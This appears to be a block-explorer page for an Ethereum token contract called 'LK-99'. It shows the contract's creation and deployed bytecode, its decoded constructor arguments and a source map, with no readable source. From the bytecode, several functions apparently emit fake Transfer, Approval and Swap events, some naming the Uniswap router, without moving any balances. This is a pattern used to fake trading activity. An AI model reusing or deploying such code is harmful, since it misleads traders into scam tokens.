b85f830184611796565b92915050565b5f80fd5b5f8083601f8401126117d7576117d66115ab565b5b8235905067ffffffffffffffff8111156117f4576117f36117be565b5b6020830191508360208202830111156118105761180f611652565b5b9250929050565b5f805f6040848603121561182e5761182d6113bb565b5b5f84013567ffffffffffffffff81111561184b5761184a6113bf565b5b611857868287016117c2565b9350935050602061186a8682870161143c565b9150509250925092565b5f805f806060858703121561188c5761188b6113bb565b5b5f85013567ffffffffffffffff8111156118a9576118a86113bf565b5b6118b5878288016117c2565b945094505060206118c88782880161143c565b92505060406118d98782880161143c565b91505092959194509250565b6118ee8161148e565b81146118f8575f80fd5b50565b5f81359050611909816118e5565b92915050565b5f60208284031215611924576119236113bb565b5b5f611931848285016118fb565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061197e57607f821691505b6020821081036119915761199061193a565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119cb602083611312565b91506119d682611997565b602082019050919050565b5f6020820190508181035f8301526119f8816119bf565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f611a58611a53611a4e84611a2c565b611a35565b61141d565b9050919050565b611a6881611a3e565b82525050565b5f608082019050611a815f8301876114c1565b611a8e6020830186611a5f565b611a9b6040830185611a5f565b611aa860608301846114c1565b95945050505050565b5f606082019050611ac45f830186611796565b611ad16020830185611796565b611ade60408301846114c1565b949350505050565b5f81519050611af4816118e5565b92915050565b5f60208284031215611b0f57611b0e6113bb565b5b5f611b1c84828501611ae6565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b5c8261141d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b8e57611b8d611b25565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611bf3602683611312565b9150611bfe82611b99565b604082019050919050565b5f6020820190508181035f830152611c2081611be7565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611c81602483611312565b9150611c8c82611c27565b604082019050919050565b5f6020820190508181035f830152611cae81611c75565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611d0f602283611312565b9150611d1a82611cb5565b604082019050919050565b5f6020820190508181035f830152611d3c81611d03565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611d77601d83611312565b9150611d8282611d43565b602082019050919050565b5f6020820190508181035f830152611da481611d6b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611e05602583611312565b9150611e1082611dab565b604082019050919050565b5f6020820190508181035f830152611e3281611df9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611e93602383611312565b9150611e9e82611e39565b604082019050919050565b5f6020820190508181035f830152611ec081611e87565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611f21602683611312565b9150611f2c82611ec7565b604082019050919050565b5f6020820190508181035f830152611f4e81611f15565b905091905056fea2646970667358221220c3facb5f7e1db0430fafb119aae24ab7c274d0026810c937514d6b92c383e01d64736f6c63430008150033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000016ac9e23af00000000000000000000000000000000000000000000000000000000000000054c4b2d393900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044c4b393900000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610114575f3560e01c80638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb146102cc578063beabacc8146102fc578063dd62ed3e14610318578063f2fde38b14610348578063fde980ca1461036457610114565b80638da5cb5b1461025857806395d89b41146102765780639ebbaef714610294578063a1c617f5146102b057610114565b80632d34ba79116100e75780632d34ba79146101b4578063313ce567146101d05780633a85d2c8146101ee57806370a082311461021e578063715018a61461024e57610114565b806306fdde0314610118578063095ea7b31461013657806318160ddd1461016657806323b872dd14610184575b5f80fd5b610120610380565b60405161012d9190611392565b60405180910390f35b610150600480360381019061014b9190611450565b610410565b60405161015d91906114a8565b60405180910390f35b61016e610432565b60405161017b91906114d0565b60405180910390f35b61019e600480360381019061019991906114e9565b61043b565b6040516101ab91906114a8565b60405180910390f35b6101ce60048036038101906101c99190611539565b610469565b005b6101d8610584565b6040516101e59190611592565b60405180910390f35b610208600480360381019061020391906116eb565b61058c565b60405161021591906114a8565b60405180910390f35b6102386004803603810190610233919061176b565b61077f565b60405161024591906114d0565b60405180910390f35b6102566107c5565b005b6102606107d8565b60405161026d91906117a5565b60405180910390f35b61027e6107ff565b60405161028b9190611392565b60405180910390f35b6102ae60048036038101906102a99190611817565b61088f565b005b6102ca60048036038101906102c59190611874565b610941565b005b6102e660048036038101906102e19190611450565b610ac8565b6040516102f391906114a8565b60405180910390f35b610316600480360381019061031191906114e9565b610aea565b005b610332600480360381019061032d9190611539565b610b54565b60405161033f91906114d0565b60405180910390f35b610362600480360381019061035d919061176b565b610bd6565b005b61037e6004803603810190610379919061190f565b610c58565b005b60606006805461038f90611967565b80601f01602080910402602001604051908101604052809291908181526020018280546103bb90611967565b80156104065780601f106103dd57610100808354040283529160200191610406565b820191905f5260205f20905b8154815290600101906020018083116103e957829003601f168201915b5050505050905090565b5f8061041a610d0b565b9050610427818585610d12565b600191505092915050565b5f600354905090565b5f80610445610d0b565b9050610452858285610ed5565b61045d858585610f60565b60019150509392505050565b610471610d0b565b73ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f7906119e1565b60405180910390fd5b8160095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f6008905090565b5f805f90505b8451811015610772578481815181106105ae576105ad6119ff565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161061291906114d0565b60405180910390a384818151811061062d5761062c6119ff565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822865f80886040516106ab9493929190611a6e565b60405180910390a3733579781bcfefc075d2cb08b815716dc0529f3c7d73ffffffffffffffffffffffffffffffffffffffff1663e156b1b68683815181106106f6576106f56119ff565b5b602002602001015188866040518463ffffffff1660e01b815260040161071e93929190611ab1565b6020604051808303815f875af115801561073a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075e9190611afa565b50808061076a90611b52565b915050610592565b5060019050949350505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107cd6111c4565b6107d65f611242565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606007805461080e90611967565b80601f016020809104026020016040519081016040528092919081815260200182805461083a90611967565b80156108855780601f1061085c57610100808354040283529160200191610885565b820191905f5260205f20905b81548152906001019060200180831161086857829003601f168201915b5050505050905090565b5f5b8383905081101561093b573073ffffffffffffffffffffffffffffffffffffffff168484838181106108c6576108c56119ff565b5b90506020020160208101906108db919061176b565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161092091906114d0565b60405180910390a3808061093390611b52565b915050610891565b50505050565b5f5b84849050811015610ac157848482818110610961576109606119ff565b5b9050602002016020810190610976919061176b565b73ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f80876040516109f99493929190611a6e565b60405180910390a3848482818110610a1457610a136119ff565b5b9050602002016020810190610a29919061176b565b73ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610aa691906114d0565b60405180910390a38080610ab990611b52565b915050610943565b5050505050565b5f80610ad2610d0b565b9050610adf818585610f60565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b4791906114d0565b60405180910390a3505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610bde6111c4565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4390611c09565b60405180910390fd5b610c5581611242565b50565b610c60610d0b565b73ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce6906119e1565b60405180910390fd5b8060045f6101000a81548160ff02191690831515021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7790611c97565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de590611d25565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ec891906114d0565b60405180910390a3505050565b5f610ee08484610b54565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610f5a5781811015610f4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4390611d8d565b60405180910390fd5b610f598484848403610d12565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc590611e1b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361103c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103390611ea9565b60405180910390fd5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156110c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b790611f37565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111ab91906114d0565b60405180910390a36111be848484611303565b50505050565b6111cc610d0b565b73ffffffffffffffffffffffffffffffffffffffff166111ea6107d8565b73ffffffffffffffffffffffffffffffffffffffff1614611240576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611237906119e1565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561133f578082015181840152602081019050611324565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61136482611308565b61136e8185611312565b935061137e818560208601611322565b6113878161134a565b840191505092915050565b5f6020820190508181035f8301526113aa818461135a565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113ec826113c3565b9050919050565b6113fc816113e2565b8114611406575f80fd5b50565b5f81359050611417816113f3565b92915050565b5f819050919050565b61142f8161141d565b8114611439575f80fd5b50565b5f8135905061144a81611426565b92915050565b5f8060408385031215611466576114656113bb565b5b5f61147385828601611409565b92505060206114848582860161143c565b9150509250929050565b5f8115159050919050565b6114a28161148e565b82525050565b5f6020820190506114bb5f830184611499565b92915050565b6114ca8161141d565b82525050565b5f6020820190506114e35f8301846114c1565b92915050565b5f805f60608486031215611500576114ff6113bb565b5b5f61150d86828701611409565b935050602061151e86828701611409565b925050604061152f8682870161143c565b9150509250925092565b5f806040838503121561154f5761154e6113bb565b5b5f61155c85828601611409565b925050602061156d85828601611409565b9150509250929050565b5f60ff82169050919050565b61158c81611577565b82525050565b5f6020820190506115a55f830184611583565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6115e58261134a565b810181811067ffffffffffffffff82111715611604576116036115af565b5b80604052505050565b5f6116166113b2565b905061162282826115dc565b919050565b5f67ffffffffffffffff821115611641576116406115af565b5b602082029050602081019050919050565b5f80fd5b5f61166861166384611627565b61160d565b9050808382526020820190506020840283018581111561168b5761168a611652565b5b835b818110156116b457806116a08882611409565b84526020840193505060208101905061168d565b5050509392505050565b5f82601f8301126116d2576116d16115ab565b5b81356116e2848260208601611656565b91505092915050565b5f805f8060808587031215611703576117026113bb565b5b5f61171087828801611409565b945050602085013567ffffffffffffffff811115611731576117306113bf565b5b61173d878288016116be565b935050604061174e8782880161143c565b925050606061175f8782880161143c565b91505092959194509250565b5f602082840312156117805761177f6113bb565b5b5f61178d84828501611409565b91505092915050565b61179f816113e2565b82525050565b5f6020820190506117b85f830184611796565b92915050565b5f80fd5b5f8083601f8401126117d7576117d66115ab565b5b8235905067ffffffffffffffff8111156117f4576117f36117be565b5b6020830191508360208202830111156118105761180f611652565b5b9250929050565b5f805f6040848603121561182e5761182d6113bb565b5b5f84013567ffffffffffffffff81111561184b5761184a6113bf565b5b611857868287016117c2565b9350935050602061186a8682870161143c565b9150509250925092565b5f805f806060858703121561188c5761188b6113bb565b5b5f85013567ffffffffffffffff8111156118a9576118a86113bf565b5b6118b5878288016117c2565b945094505060206118c88782880161143c565b92505060406118d98782880161143c565b91505092959194509250565b6118ee8161148e565b81146118f8575f80fd5b50565b5f81359050611909816118e5565b92915050565b5f60208284031215611924576119236113bb565b5b5f611931848285016118fb565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061197e57607f821691505b6020821081036119915761199061193a565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119cb602083611312565b91506119d682611997565b602082019050919050565b5f6020820190508181035f8301526119f8816119bf565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f611a58611a53611a4e84611a2c565b611a35565b61141d565b9050919050565b611a6881611a3e565b82525050565b5f608082019050611a815f8301876114c1565b611a8e6020830186611a5f565b611a9b6040830185611a5f565b611aa860608301846114c1565b95945050505050565b5f606082019050611ac45f830186611796565b611ad16020830185611796565b611ade60408301846114c1565b949350505050565b5f81519050611af4816118e5565b92915050565b5f60208284031215611b0f57611b0e6113bb565b5b5f611b1c84828501611ae6565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b5c8261141d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b8e57611b8d611b25565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611bf3602683611312565b9150611bfe82611b99565b604082019050919050565b5f6020820190508181035f830152611c2081611be7565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611c81602483611312565b9150611c8c82611c27565b604082019050919050565b5f6020820190508181035f830152611cae81611c75565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611d0f602283611312565b9150611d1a82611cb5565b604082019050919050565b5f6020820190508181035f830152611d3c81611d03565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611d77601d83611312565b9150611d8282611d43565b602082019050919050565b5f6020820190508181035f830152611da481611d6b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611e05602583611312565b9150611e1082611dab565b604082019050919050565b5f6020820190508181035f830152611e3281611df9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611e93602383611312565b9150611e9e82611e39565b604082019050919050565b5f6020820190508181035f830152611ec081611e87565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611f21602683611312565b9150611f2c82611ec7565b604082019050919050565b5f6020820190508181035f830152611f4e81611f15565b905091905056fea2646970667358221220c3facb5f7e1db0430fafb119aae24ab7c274d0026810c937514d6b92c383e01d64736f6c63430008150033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000016ac9e23af00000000000000000000000000000000000000000000000000000000000000054c4b2d393900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044c4b393900000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): LK-99
Arg [1] : symbol_ (string): LK99
Arg [2] : amount (uint256): 97385325487

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 00000000000000000000000000000000000000000000000000000016ac9e23af
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [4] : 4c4b2d3939000000000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [6] : 4c4b393900000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

4318:6527:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5148:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8096:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7175:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8305:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4895:183;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5481:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5587:706;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7346:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3495:103;;;:::i;:::-;;3188:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5367:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6303:225;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6534:291;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7679:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6833:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7935:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3753:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6962:150;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5148:100;5202:13;5235:5;5228:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5148:100;:::o;8096:201::-;8179:4;8196:13;8212:12;:10;:12::i;:::-;8196:28;;8235:32;8244:5;8251:7;8260:6;8235:8;:32::i;:::-;8285:4;8278:11;;;8096:201;;;;:::o;7175:108::-;7236:7;7263:12;;7256:19;;7175:108;:::o;8305:295::-;8436:4;8453:15;8471:12;:10;:12::i;:::-;8453:30;;8494:38;8510:4;8516:7;8525:6;8494:15;:38::i;:::-;8543:27;8553:4;8559:2;8563:6;8543:9;:27::i;:::-;8588:4;8581:11;;;8305:295;;;;;:::o;4895:183::-;4976:12;:10;:12::i;:::-;4970:18;;:2;;;;;;;;;;;:18;;;4962:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;5044:7;5036:5;;:15;;;;;;;;;;;;;;;;;;5067:3;5062:2;;:8;;;;;;;;;;;;;;;;;;4895:183;;:::o;5481:92::-;5539:5;5564:1;5557:8;;5481:92;:::o;5587:706::-;5767:4;5789:9;5801:1;5789:13;;5784:480;5808:10;:17;5804:1;:21;5784:480;;;5874:10;5885:1;5874:13;;;;;;;;:::i;:::-;;;;;;;;5852:50;;5861:11;5852:50;;;5889:12;5852:50;;;;;;:::i;:::-;;;;;;;;6107:10;6118:1;6107:13;;;;;;;;:::i;:::-;;;;;;;;5922:213;;5945:42;5922:213;;;6006:12;6037:1;6057;6077:11;5922:213;;;;;;;;;:::i;:::-;;;;;;;;6158:42;6150:61;;;6212:10;6223:1;6212:13;;;;;;;;:::i;:::-;;;;;;;;6227:11;6240;6150:102;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5827:3;;;;;:::i;:::-;;;;5784:480;;;;6281:4;6274:11;;5587:706;;;;;;:::o;7346:127::-;7420:7;7447:9;:18;7457:7;7447:18;;;;;;;;;;;;;;;;7440:25;;7346:127;;;:::o;3495:103::-;3074:13;:11;:13::i;:::-;3560:30:::1;3587:1;3560:18;:30::i;:::-;3495:103::o:0;3188:87::-;3234:7;3261:6;;;;;;;;;;;3254:13;;3188:87;:::o;5367:104::-;5423:13;5456:7;5449:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5367:104;:::o;6303:225::-;6397:9;6392:129;6416:11;;:18;;6412:1;:22;6392:129;;;6494:4;6461:48;;6470:11;;6482:1;6470:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;6461:48;;;6501:7;6461:48;;;;;;:::i;:::-;;;;;;;;6436:3;;;;;:::i;:::-;;;;6392:129;;;;6303:225;;;:::o;6534:291::-;6636:9;6631:187;6655:11;;:18;;6651:1;:22;6631:187;;;6734:11;;6746:1;6734:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;6700:49;;6705:10;;;;;;;;;;;6700:49;;;6717:3;6722:1;6725;6728:4;6700:49;;;;;;;;;:::i;:::-;;;;;;;;6785:11;;6797:1;6785:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;6769:37;;6778:5;;;;;;;;;;;6769:37;;;6801:4;6769:37;;;;;;:::i;:::-;;;;;;;;6675:3;;;;;:::i;:::-;;;;6631:187;;;;6534:291;;;;:::o;7679:193::-;7758:4;7775:13;7791:12;:10;:12::i;:::-;7775:28;;7814;7824:5;7831:2;7835:6;7814:9;:28::i;:::-;7860:4;7853:11;;;7679:193;;;;:::o;6833:119::-;6934:3;6918:26;;6927:5;6918:26;;;6939:4;6918:26;;;;;;:::i;:::-;;;;;;;;6833:119;;;:::o;7935:151::-;8024:7;8051:11;:18;8063:5;8051:18;;;;;;;;;;;;;;;:27;8070:7;8051:27;;;;;;;;;;;;;;;;8044:34;;7935:151;;;;:::o;3753:201::-;3074:13;:11;:13::i;:::-;3862:1:::1;3842:22;;:8;:22;;::::0;3834:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3918:28;3937:8;3918:18;:28::i;:::-;3753:201:::0;:::o;6962:150::-;7024:12;:10;:12::i;:::-;7018:18;;:2;;;;;;;;;;;:18;;;7010:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;7103:1;7084:16;;:20;;;;;;;;;;;;;;;;;;6962:150;:::o;2402:98::-;2455:7;2482:10;2475:17;;2402:98;:::o;9639:380::-;9792:1;9775:19;;:5;:19;;;9767:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9873:1;9854:21;;:7;:21;;;9846:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9957:6;9927:11;:18;9939:5;9927:18;;;;;;;;;;;;;;;:27;9946:7;9927:27;;;;;;;;;;;;;;;:36;;;;9995:7;9979:32;;9988:5;9979:32;;;10004:6;9979:32;;;;;;:::i;:::-;;;;;;;;9639:380;;;:::o;10029:453::-;10164:24;10191:25;10201:5;10208:7;10191:9;:25::i;:::-;10164:52;;10251:17;10231:16;:37;10227:248;;10313:6;10293:16;:26;;10285:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10397:51;10406:5;10413:7;10441:6;10422:16;:25;10397:8;:51::i;:::-;10227:248;10153:329;10029:453;;;:::o;8612:634::-;8759:1;8743:18;;:4;:18;;;8735:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8836:1;8822:16;;:2;:16;;;8814:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8897:19;8919:9;:15;8929:4;8919:15;;;;;;;;;;;;;;;;8897:37;;8968:6;8953:11;:21;;8945:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;9085:6;9071:11;:20;9053:9;:15;9063:4;9053:15;;;;;;;;;;;;;;;:38;;;;9123:6;9106:9;:13;9116:2;9106:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;9177:2;9162:26;;9171:4;9162:26;;;9181:6;9162:26;;;;;;:::i;:::-;;;;;;;;9201:37;9221:4;9227:2;9231:6;9201:19;:37::i;:::-;8724:522;8612:634;;;:::o;3353:132::-;3428:12;:10;:12::i;:::-;3417:23;;:7;:5;:7::i;:::-;:23;;;3409:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3353:132::o;4114:191::-;4188:16;4207:6;;;;;;;;;;;4188:25;;4233:8;4224:6;;:17;;;;;;;;;;;;;;;;;;4288:8;4257:40;;4278:8;4257:40;;;;;;;;;;;;4177:128;4114:191;:::o;10492:124::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:75::-;1382:6;1415:2;1409:9;1399:19;;1349:75;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;